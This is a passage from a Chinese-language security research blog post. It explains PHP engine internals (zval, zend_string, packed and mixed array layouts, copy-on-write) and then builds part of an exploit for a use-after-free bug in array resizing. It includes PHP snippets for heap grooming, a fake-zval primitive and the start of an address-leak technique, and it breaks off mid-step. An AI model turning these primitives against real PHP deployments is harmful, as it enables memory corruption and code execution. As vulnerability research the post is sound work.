| elem2 | ..</span><br><span class="line">--------------------------------------------------------</span><br><span class="line">                            ^</span><br><span class="line">                            |</span><br><span class="line">            +---------------+</span><br><span class="line">            |</span><br><span class="line">  +-------------+</span><br><span class="line">  | Some Object |</span><br><span class="line">  +-------------+</span><br></pre></td></tr></table></figure><p>在jsc的利用中都频繁地使用到了这个结构，包含我前面提到的box/unbox技术。这是第一只蝴蝶。</p><p><strong>第二只蝴蝶</strong></p><p>在看[9]的过程中，我又看到了saelo(前google project zero成员, 目前V8 JS引擎的安全负责人)的博客中《Pwning Lua through 'load'》[10]。 真苦恼，都是我喜欢读的东西，那就看吧。让我比较惊讶的Lua竟然没有bytecode verifier，文章内容和第一篇攻击Wasm引擎的内容比较相似。然后我又想看看Lua上的一些安全研究，搜索了到一系列来自bigshaq关于LuaJIT方面的安全研究[11]，在里面遇到了第二只蝴蝶。LuaJIT的jit complier会将收集到的trace翻译成的IR放在一个类似butterfly结构中。形如</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line">                                                  </span><br><span class="line">-----------------------------------------         </span><br><span class="line">      |      |      |     |     |                 </span><br><span class="line">      |const2|const1|inst1|inst2|                 </span><br><span class="line">      |      |      |     |     |                 </span><br><span class="line">--------------------▲-----------─---------        </span><br><span class="line">                    │                             </span><br><span class="line">                    │                             </span><br><span class="line">   ┌──────┐         │                             </span><br><span class="line">   │ ir_p ├─────────┘                             </span><br><span class="line">   └──────┘                                       </span><br><span class="line">                                                  </span><br></pre></td></tr></table></figure><p>instructions在一边翅膀，而constants在另一边翅膀。在这短暂的LuaJIT之旅中，又积累了一些关于LuaJIT的知识，但是我觉得最后研究的安全问题太刻意，毕竟是CTF的题，可以理解嘛。不过利用JIT code中的guarded assertions来固定shellcode的技术确实不错。</p><p><strong>最后一只蝴蝶</strong></p><p>PHP 8中的JIT技术深受LuaJIT影响。以至于bigshaq博客在一篇关于PHP文章中，给PHP打了patch，就把LuaJIT上相关利用直接拿到PHP上。绕了一大圈我又回到了PHP，我突然发现Dmitry整出了一套JIT Compilation Framework [11]，名字就叫<em>IR</em>。Dmitry是那个一个人写了PHP中几乎全部optimizers的男人，我对其从心里佩服。听闻<em>IR</em>之后，让我内心久久不能平静，依托<em>IR</em>的全新JIT compiler已经merge到了PHP-src的主线上，令人抓狂的DynAsm终于不见了。我又马上看了一眼Dmitry对其的介绍[13]，未来我终于有机会不用在PHP bytecode上做优化了。我看到了类似V8 TurboFan中的Sea of Nodes，及其各种补全的优化算法。这一刻，我打算以后为它也做点什么。因为Dmitry写的那些optimizers曾经陪伴我了很多时候。</p><p>我又想到文中这个IR缺陷，我觉得它应该结束了。我又开始了审视它，目光又重新对准了PHP中<code>zend_array</code>，它那里不恰好也有一只蝴蝶吗？ 下面ascii来自[14]:</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><span class="line">&#x2F;*</span><br><span class="line"> * HashTable Data Layout</span><br><span class="line"> * &#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;</span><br><span class="line"> *</span><br><span class="line"> *                 +&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;+</span><br><span class="line"> *                 | HT_HASH(ht, ht-&gt;nTableMask) |                   +&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;+</span><br><span class="line"> *                 | ...                         |                   | HT_INVALID_IDX              |</span><br><span class="line"> *                 | HT_HASH(ht, -1)             |                   | HT_INVALID_IDX              |</span><br><span class="line"> *                 +-----------------------------+                   +-----------------------------+</span><br><span class="line"> * ht-&gt;arData ---&gt; | Bucket[0]                   | ht-&gt;arPacked ---&gt; | ZVAL[0]                     |</span><br><span class="line"> *                 | ...                         |                   | ...                         |</span><br><span class="line"> *                 | Bucket[ht-&gt;nTableSize-1]    |                   | ZVAL[ht-&gt;nTableSize-1]      |</span><br><span class="line"> *                 +&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;+                   +&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;+</span><br><span class="line"> *&#x2F;</span><br></pre></td></tr></table></figure><p>PHP中有两种特殊的数组，packed array和mixed array，我在考虑它们的时候，突然想起了这只蝴蝶。原来不用在内存稍前的位置写入那个<code>null</code>，完全可以在内存的中间写入这个<code>null</code>. 甚至我都忘记了可以通过拨动index来控制写入这个<code>null</code>的位置，这一错就是四年。原来那只蝴蝶一直都在那里，都在那个我能看得见的枝头。</p><h2 id="x03-php前置知识">0x03 PHP前置知识</h2><p>在开始构造我们exploitation之前，读者需要熟悉和理解一下PHP internals相关知识。</p><h3 id="zval-结构">3.1 <code>zval</code> 结构</h3><p>PHP中的变量都是以<code>zval</code> 的形式出现的，它是一个<strong>tagged union</strong>形式:</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// Zend/zend_types.h</span></span><br><span class="line"><span class="keyword">typedef</span> <span class="class"><span class="keyword">union</span> _<span class="title">zend_value</span> &#123;</span></span><br><span class="line">zend_long         lval;<span class="comment">/* long value */</span></span><br><span class="line"><span class="keyword">double</span>            dval;<span class="comment">/* double value */</span></span><br><span class="line">zend_refcounted  *counted;</span><br><span class="line">zend_string      *str;</span><br><span class="line">zend_array       *arr;</span><br><span class="line">zend_object      *obj;</span><br><span class="line">zend_resource    *res;</span><br><span class="line">zend_reference   *ref;</span><br><span class="line">zend_ast_ref     *ast;</span><br><span class="line">zval             *zv;</span><br><span class="line"><span class="keyword">void</span>             *ptr;</span><br><span class="line">zend_class_entry *ce;</span><br><span class="line">zend_function    *func;</span><br><span class="line"><span class="class"><span class="keyword">struct</span> &#123;</span></span><br><span class="line"><span class="keyword">uint32_t</span> w1;</span><br><span class="line"><span class="keyword">uint32_t</span> w2;</span><br><span class="line">&#125; ww;</span><br><span class="line">&#125; zend_value;</span><br><span class="line"></span><br><span class="line"><span class="class"><span class="keyword">struct</span> _<span class="title">zval_struct</span> &#123;</span></span><br><span class="line">    zend_value        value;<span class="comment">/* value */</span></span><br><span class="line">    <span class="class"><span class="keyword">union</span> &#123;</span></span><br><span class="line">        <span class="keyword">uint32_t</span> type_info;</span><br><span class="line">        <span class="class"><span class="keyword">struct</span> &#123;</span></span><br><span class="line">            ZEND_ENDIAN_LOHI_3(</span><br><span class="line">                zend_uchar    type,<span class="comment">/* active type */</span></span><br><span class="line">                zend_uchar    type_flags,</span><br><span class="line">                <span class="keyword">union</span> &#123;</span><br><span class="line">                    <span class="keyword">uint16_t</span>  extra;        <span class="comment">/* not further specified */</span></span><br><span class="line">                &#125; u)</span><br><span class="line">        &#125; v;</span><br><span class="line">    &#125; u1;</span><br><span class="line">    <span class="class"><span class="keyword">union</span> &#123;</span></span><br><span class="line">        ...</span><br><span class="line">    &#125; u2;</span><br><span class="line">&#125;;</span><br></pre></td></tr></table></figure><p>这在编程语言设计中非常常见，比如JavaScriptCore里面对应的变量表示形式<code>JSValue</code>。所以在了解编程语言内部的时候，你需要提早关注它里面的变量表示形式。其中<code>zval.value</code>会存储变量对应的真正值，而<code>zval.u1.type_info</code>会存储变量对应的类型信息。</p><h3 id="php基本类型">3.2 PHP基本类型</h3><p>PHP中基本类型有</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// Zend/zend_types.h</span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">define</span> IS_UNDEF0</span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">define</span> IS_NULL1</span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">define</span> IS_FALSE2</span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">define</span> IS_TRUE3</span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">define</span> IS_LONG4</span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">define</span> IS_DOUBLE5</span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">define</span> IS_STRING6</span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">define</span> IS_ARRAY7</span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">define</span> IS_OBJECT8</span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">define</span> IS_RESOURCE9</span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">define</span> IS_REFERENCE10</span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">define</span> IS_CONSTANT_AST11 <span class="comment">/* Constant expressions */</span></span></span><br></pre></td></tr></table></figure><p>它们出现在<code>zval.u1.v.type</code>中。</p><ol type="1"><li><code>undefined</code>， <code>null</code>， <code>false</code> 和 <code>true</code> 可以直接用类型信息区分;</li><li><code>long</code> 和 <code>double</code>直接以primitive value存储在<code>zval.value.lval</code>和<code>zval.value.dval</code>中;</li><li><code>string</code>， <code>array</code>， <code>object</code>， <code>resource</code>， <code>reference</code>和<code>constant_ast</code>都有对应的具体结构，其地址将以指针的形式存放在<code>zval.value.str</code>, <code>zval.value.arr</code> ... 中。</li></ol><h3 id="zend_string结构">3.3 <code>zend_string</code>结构</h3><p><code>zend_string</code>用于描述上面提到的<code>string</code>类型。其结构如下:</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">typedef</span> <span class="class"><span class="keyword">struct</span> _<span class="title">zend_refcounted_h</span> &#123;</span></span><br><span class="line">    <span class="keyword">uint32_t</span>         refcount;<span class="comment">/* reference counter 32-bit */</span></span><br><span class="line">    <span class="class"><span class="keyword">union</span> &#123;</span></span><br><span class="line">        <span class="keyword">uint32_t</span> type_info;</span><br><span class="line">    &#125; u;</span><br><span class="line">&#125; zend_refcounted_h;</span><br><span class="line"></span><br><span class="line"><span class="class"><span class="keyword">struct</span> _<span class="title">zend_string</span> &#123;</span></span><br><span class="line">    zend_refcounted_h gc;</span><br><span class="line">    zend_ulong        h;                <span class="comment">/* hash value */</span></span><br><span class="line">    <span class="keyword">size_t</span>            len;</span><br><span class="line">    <span class="keyword">char</span>              val[<span class="number">1</span>];</span><br><span class="line">&#125;;</span><br></pre></td></tr></table></figure><p>其中:</p><ol type="1"><li><code>zend_string.gc</code> : 我通常叫它gc_info，里面有一个比较重要是<code>zend_string.gc.refcount</code>表示引用计数;</li><li><code>zend_string.h</code> : 用于缓存对该<code>string</code>计算过的hash值;</li><li><code>zend_string.len</code> : 用于表示该<code>string</code>表示字符串长度;</li><li><code>zend_string.val</code>: 用于表示<code>string</code>表示字符串具体内容，而字符串内容位于<code>zend_string</code>结构其后的连续内存上。</li></ol><h3 id="packed-and-mixed-array">3.4 Packed and Mixed Array</h3><p>PHP中两种类型的数组:</p><ol type="1"><li>packed array : 用整数作为index连续存放的数组 i.e., <code>$arr = [1,2,3,4];</code></li><li>mixed array: 混合了以字符串以index作为的数组 i.e., <code>$arr = [1, 'key1' =&gt; 'val1'];</code></li></ol><p>我们来介绍一下在<code>array</code>中的butterfly. 首先是packed array:</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line"></span><br><span class="line">                  +&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;+</span><br><span class="line">                  | HT_INVALID_IDX              |</span><br><span class="line">                  | HT_INVALID_IDX              |</span><br><span class="line">                  +-----------------------------+</span><br><span class="line">ht-&gt;arPacked ---&gt; | ZVAL[0]                     |</span><br><span class="line">                  | ...                         |</span><br><span class="line">                  | ZVAL[ht-&gt;nTableSize-1]      |</span><br><span class="line">                  +&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;+</span><br></pre></td></tr></table></figure><p>其中<code>zend_array.arData</code> 实际指向存储的第1个元素，注意到它并不是指向当前申请的内存起始位置，前面还有两个index cells (一个cell大小为4字节)，我们称其为index table. 可以看到在其上都存放着<code>HT_INVALID_IDX</code> (值为-1)。因为packed array, 不需要对index做hash, 直接根据index在<code>arData</code>上取值即可。那这两个invalid index在这里是干啥呢？为了照顾在整数/非整数 index上的数组统一操作。我之前就困在packed array之上。</p><p>再一个就是mixed array:</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line">                +&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;+</span><br><span class="line">                | HT_HASH(ht, ht-&gt;nTableMask) |</span><br><span class="line">                | ...                         |</span><br><span class="line">                | HT_HASH(ht, -1)             |</span><br><span class="line">                +-----------------------------+</span><br><span class="line">ht-&gt;arData ---&gt; | Bucket[0]                   |</span><br><span class="line">                | ...                         |</span><br><span class="line">                | Bucket[ht-&gt;nTableSize-1]    |</span><br><span class="line">                +&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;+</span><br></pre></td></tr></table></figure><p>mixed array中的元素也是顺序存储的, 位于一块连续的内存上 (<code>ht-&gt;arData</code>)。为了解决hash冲突，PHP会通过一张隐式的链表将hash冲突的元素连接起来。为了在mixed array中根据index找到正确的元素，会做这样以下操作:</p><ol type="1"><li>对index做hash, 得到值<code>h</code>;</li><li>根据<code>h</code>计算它落在index table的位置 <code>h | ht-&gt;nTableMask</code>。每一个index cell中都存储目标元素所在链表的头结点与<code>ht-&gt;arData</code>的offset;</li><li>因此会从<code>ht-&gt;arData[h | ht-&gt;nTableMask]</code>开始遍历链表，比照index，找到目标元素。</li></ol><p>在mixed array中，index table中index cells的个数是这个array可存储元素容量的2倍。在array扩容的过程中依然会保持这个关系，例如如果array可以存储8个元素，那么就有16 index cells。它们总计大小，即是对应butterfly区域内存大小。</p><p>无论是packed array或者mixed array它们的容量最小都是8个元素，而每次扩容都是double。特别地是，PHP数组存储单个元素的结构为<code>Bucket</code>, 其定义如下:</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">typedef</span> <span class="class"><span class="keyword">struct</span> _<span class="title">Bucket</span> &#123;</span></span><br><span class="line">    zval              val;</span><br><span class="line">    zend_ulong        h;                <span class="comment">/* hash value (or numeric index)   */</span></span><br><span class="line">    zend_string      *key;              <span class="comment">/* string key or NULL for numerics */</span></span><br><span class="line">&#125; Bucket;</span><br></pre></td></tr></table></figure><ol type="1"><li><code>Bucket.val</code> 存放元素对应的value;</li><li><code>Bucket.h</code> 存放整型的index;</li><li><code>Bucket.key</code> 存放元素对应的key。</li></ol><h3 id="variable-assignment">3.5 Variable Assignment</h3><p>这里讲一下两个<code>zval *var, *val</code>之间的赋值过程，它对应<code>Zend/zend_execute.h</code>中两个函数<code>zend_assign_to_variable</code> 和 <code>zend_copy_to_variabl</code>部分过程 。我用伪代码表示，因为适合突出一些重要的东西，并省略一些不太重要的信息。</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// assign val to var</span></span><br><span class="line"><span class="keyword">if</span> var is refcouted:</span><br><span class="line">    var_value = get_value_from_zval(var);</span><br><span class="line">    copy_zval(var, val)</span><br><span class="line">    <span class="keyword">if</span> (get_refcount(var_value) == <span class="number">1</span>) </span><br><span class="line">        free_value(var_value)</span><br><span class="line"><span class="keyword">else</span></span><br><span class="line">    copy_zval(var, val)    </span><br></pre></td></tr></table></figure><p>它对应的两个函数明显会比我给出的伪代码复杂，但是我们不需要关注里面大多数cases。其中我们说一个<code>zval</code>是refcounted，意味它对应值需要额外分配内存，比如<code>string</code>， <code>array</code>和 <code>object</code>这些都是，而<code>null</code>，<code>false</code>， <code>true</code>，<code>long</code> 和<code>double</code>它们不是refcounted，因为它们的值是直接保存在<code>zval</code>中的。这里赋值过程的核心逻辑是我们特别需要注意<code>var</code>原本的值。</p><p>我来解释一下这里在做什么:</p><ol type="1"><li>当<code>var</code>是refcounted时，我们做以下操作:<ol type="1"><li>首先我们用<code>var_value</code>记录了<code>var</code>的原值;</li><li>我们直接通过<code>copy_zval</code>将<code>val</code>拷贝到<code>var</code>上;</li><li>判断<code>var</code>的原值的引用计数是否为1，如果是1则释放掉<code>var</code>的原值。</li></ol></li><li>反之，我们直接通过<code>copy_zval</code>将<code>val</code>拷贝到<code>var</code>。</li></ol><p>在1.3中<code>var</code>的原值的引用计数为1，意味着这个值只有<code>var</code>来用，当<code>var</code>被赋予新值之后，它的原值就没人用了，那么是可以释放掉的。其中<code>copy_zval</code>做了两件事情:</p><ol type="1"><li>将<code>val</code>的值直接拷贝到<code>var</code>上;</li><li>按情况调整<code>val</code>所指向值的引用计数。</li></ol><p>这里我们暂时不讨论是什么情况会调整引用计数。</p><h3 id="copy-on-write">3.6 Copy on Write</h3><p>它的中文名叫写时复制，是一种比较常见的优化。考虑如下代码</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="variable">$a</span> = <span class="string">&#x27;aaaa&#x27;</span>;</span><br><span class="line"><span class="variable">$b</span> = <span class="variable">$a</span>;</span><br><span class="line"><span class="keyword">echo</span> <span class="variable">$b</span>;</span><br><span class="line"><span class="variable">$b</span> .= <span class="string">&#x27;b&#x27;</span>;</span><br><span class="line"><span class="keyword">echo</span> <span class="variable">$b</span>;</span><br></pre></td></tr></table></figure><p>在第二行这里并不会直接复制字符串<code>'aaaa'</code> 给变量<code>$b</code>，而是把<code>$a</code>指向的<code>string</code>上引用计数加1. 在第4行这里才会将前面的字符串重新复制一份，用于连接字符串<code>b</code>，再将新的结果写入<code>$b</code>. 那么写时复制是如何判断的呢？ 很简单，你只需要判断你指向的值的引用计数是否大于1.</p><p>以上就是这里我们需要知道的所有PHP里面的知识。</p><h2 id="x04-利用简述">0x04 利用简述</h2><p>我们的大致路线是:</p><ol type="1"><li>构造fakeZval原语;</li><li>泄露堆上某个地址;</li><li>构造addressOf原语;</li><li>构造第一阶段有条件的读/写原语;</li><li>构造第二阶段稳定的任意读/写原语。</li></ol><p>参考jsc中经常会fakeObj和addressOf原语， 我们来构造PHP中独特的fakeZval和addressOf。这篇文章不讨论后续利用，因为相关利用方式比较模板化，常规PHP漏洞利用中都有提到，不再累述，节省篇幅。</p><h2 id="x05-构造fake-zval">0x05 构造fake zval</h2><p>这个技术的灵感来于jsc利用里面的fakeobj源语。</p><p>回忆一下，我们之前的想法</p><ol type="1"><li>触发array的resize, 让array的butterfly被释放掉;</li><li>我们马上抢占这块butterfly对应的内存;</li><li>让<code>null</code>写在我们抢占这块内存所使用的结构上。</li></ol><p>这里我们先搞清楚两个问题:</p><ol type="1"><li><code>null</code>会写在butterfly的哪里？</li><li>结合我们前面理解的变量赋值过程，如何让写<code>null</code>这个操作顺利执行？</li></ol><p><strong>第1个问题</strong>，毫无意义，<code>null</code>写在你通过index指定的元素上. 例如我定义一个mixed array (这里的构造方式是为了防止PHP compiler将其优化成一个常量数组)如下:</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line"><span class="variable">$a1_str</span> = <span class="string">&#x27;eeee&#x27;</span></span><br><span class="line"><span class="variable">$victim_arr</span> = <span class="keyword">array</span>(</span><br><span class="line">    <span class="string">&#x27;a1&#x27;</span> =&gt; <span class="variable">$a1_str</span>,</span><br><span class="line">    <span class="string">&#x27;a2&#x27;</span> =&gt; <span class="number">1</span>,</span><br><span class="line">    <span class="string">&#x27;a3&#x27;</span> =&gt; <span class="number">1</span>,</span><br><span class="line">    <span class="string">&#x27;a4&#x27;</span> =&gt; <span class="number">1</span>,</span><br><span class="line">    <span class="string">&#x27;a5&#x27;</span> =&gt; <span class="number">1</span>,</span><br><span class="line">    <span class="string">&#x27;a6&#x27;</span> =&gt; <span class="number">1</span>,</span><br><span class="line">    <span class="string">&#x27;a7&#x27;</span> =&gt; <span class="number">1</span>,</span><br><span class="line">    <span class="string">&#x27;a8&#x27;</span> =&gt; <span class="number">1</span>, </span><br><span class="line">);</span><br></pre></td></tr></table></figure><p>它对应的memory layout如下(我们前面提到过，8个元素对应16个index cells):</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br></pre></td><td class="code"><pre><span class="line">                          ┌───────────────┐       </span><br><span class="line">                          │ index_cell15  │ │     </span><br><span class="line">                          ├───────────────┤ │     </span><br><span class="line">                          │   ...         │ │     </span><br><span class="line">                          ├───────────────┤ │     </span><br><span class="line">                          │ index_cell1   │ │     </span><br><span class="line">                          ├───────────────┤ │     </span><br><span class="line">                          │ index_cell0   │ │ addr</span><br><span class="line">$victim_arr[&#39;a1&#39;]──────►  |───────────────┤ │     </span><br><span class="line">                          │   bucket0     │ │     </span><br><span class="line">                          ├───────────────┤ │     </span><br><span class="line">                          │   bucket1     │ │     </span><br><span class="line">                          ├───────────────┤ ▼     </span><br><span class="line">                          │   ...         │       </span><br><span class="line">                          ├───────────────┤       </span><br><span class="line">                          │   bucket7     │       </span><br><span class="line">                          └───────────────┘       </span><br></pre></td></tr></table></figure><p>如果要写这个数组的第1个元素 <code>$a['a1'] = $undef_var</code>，那么写入的位置相对于这块butterfly的其实地址的offset应该为<code>4 * 16 = 64</code>。</p><p><strong>第二问题</strong>，当上面的butterfly区域被释放后，我们马上构造一个大小合适的<code>string</code>来把它抢占。例如:</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line"><span class="variable">$zend_array_burket_size</span> = <span class="number">0x20</span>;</span><br><span class="line"><span class="variable">$zend_table_index_size</span> = <span class="number">0x4</span>;</span><br><span class="line"><span class="variable">$zend_string_size</span> = <span class="number">0x20</span>;</span><br><span class="line"></span><br><span class="line"><span class="variable">$user_str_length</span> = <span class="number">16</span> * <span class="variable">$zend_table_index_size</span> + <span class="number">8</span> * <span class="variable">$zend_array_burket_size</span> - <span class="variable">$zend_string_size</span>;</span><br><span class="line">set_error_handler(<span class="function"><span class="keyword">function</span>(<span class="params"></span>) </span>&#123;</span><br><span class="line"><span class="variable">$victim_arr</span>[<span class="string">&#x27;a9&#x27;</span>] = <span class="number">1</span>;</span><br><span class="line">    <span class="variable">$user_str</span> = str_repeat(<span class="string">&#x27;b&#x27;</span>, <span class="variable">$user_str_length</span>);</span><br><span class="line">&#125;)</span><br></pre></td></tr></table></figure><p>对于一个<code>string</code>, 它的前<code>0x18</code>字节属于header, 具体来说:</p><ol type="1"><li>+0x0 : 引用计数;</li><li>+0x4 : gc信息;</li><li>+0x08 : hash值缓存，如果对这个<code>string</code>做过hash，得到的hash会放在这个地方;</li><li>+0x16 : 字符串长度;</li><li>其余部分存储字符串内容。</li></ol><p>那么很显然要写的地方<code>0x40</code>落在了我们可控的字符串内容上。那么可以伪造一个zval，来满足前面提到过的赋值过程中的check，让<code>null</code>顺利的写到这个fake zval上。</p><h2 id="x06-泄露某个地址">0x06 泄露某个地址</h2><p>绕过ASLR，或者是读写指定地址的内容，我们都需要先泄露一些地址，才能准确定位我们需要的地址。这里的过程比较trick，我们借助了PHP的弱类型转换。考虑如下代码:</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="variable">$victim_arr</span>[<span class="string">&#x27;a1&#x27;</span>] = <span class="literal">true</span>;</span><br><span class="line"><span class="variable">$victim_arr</span>[<span class="string">&#x27;a1&#x27;</span>] .= <span class="literal">null</span>;</span><br><span class="line">var_dump(<span class="variable">$victim_arr</span>[<span class="string">&#x27;a1&#x27;</span>]); </span><br><span class="line"><span class="comment">// output: string(1) &quot;1&quot;</span></span><br></pre></td></tr></table></figure><p>在第3行这里，有一个string concact操作，会把<code>$a['a1']</code>和<code>null</code>连接起来。但是它们都不是<code>string</code>，所以这里会经历一个弱转，<code>true</code>会被转成字符串<code>"1"</code>，而<code>null</code>会被转成empty string。 最后值为<code>"1"</code>的<code>string</code>写到<code>$a['a1']</code>上，所以<code>$a['a1']</code>会保存这个<code>string</code>的指针。通过前面UAF， <code>$a['a1']</code>实际位于我们可以控制的内存 